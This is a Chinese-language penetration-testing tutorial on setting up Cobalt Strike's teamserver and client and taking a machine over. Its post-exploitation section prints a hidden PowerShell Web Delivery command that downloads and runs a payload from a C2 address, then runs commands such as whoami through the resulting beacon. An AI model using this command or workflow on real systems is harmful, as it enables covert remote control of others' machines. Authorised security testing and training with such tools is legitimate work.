Conbalt Strike后渗透测试工具
1:简介
2:环境搭建(服务器端+客户端需要配置JAVA环境--前提)
服务器端(Server):kali
- 选择任意目录,示例/opt 执行解压命令unzip cobaltstrike-linux.zip
- 查看Teamsever和conbaltstrike是否有执行权限
chmod +x teamserver cobaltstrike 添加x(可执行权限)
目录下文件和文件夹的功能,简述如下:
- Agsscript:扩展应用的脚本
- c2int: 用于检查profile的错误和异常
- Teamserver:团队部服务器程序
- Conbalt-strike 和conbaltstrike.jar:客户端程序,由于teamserver文件是通过JAVA来调用Cobalt-strike的,所以在命令行环境中输入第一个文件的内容也能启动Cobalt Strike客户端(主要是为了方便操作)
- Logs 日志:包含web日志,截图日志,下载日志,键盘记录日志等
- Update 和update.jar:用户更新Cobalt strike
- Data:用于保存当前teamserver的数据
- 运行teamserver
输入命令:./teamserver 192.168.*.129 test123456
注:启动teamserver之后,打开客户端去连接
客户端(Client):
- 打开客户端
- window环境
选择connect
会出现指纹对话框,其指纹校验的目的在于防篡改
每次创建Cobalt strike teamserver时生成的指纹都不一样。
- 客户端向服务器成功获取相关信息后,即可能打开Conbalt strike客户端主界面,如下所示:
- 菜单栏:
- 快捷功能区:
- 目标列表:
- 控制台命令输出区:
- 控制台命令输入区:输入命令
- Linux环境
在conbalt-strike环境下 启动conbaltstrike.jar
输入命令:./conbaltstrike
- 后续与window环境一致
3:后渗透阶段
- 监听:建立listener
- 使用Web Delivery执行payload
设置类型powershell
复制生成的payload, 如下所示:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.75.129:80/a'))"
- 执行payload
在cmd命令行执行上面生成的payload
执行成功之后,在日志界面有所显示,如下所示:
在Conbalt-strike主界面中:
Kali机器上线,其中内容还包含:
- 内网IP地址
- 外网地址
- 用户名 机器名
- 是否拥有特权
- Beacon进程的PID
- 心跳时间等
- 与目标主机进行交互操作
选择要操作的beacon,点击Interact,进入人机交互模式
执行shell whoami 查看当前用户
注:beacon默认每次回连时间为60s
回连后,执行命令的任务将被下发,并成功回显命令的执行结果。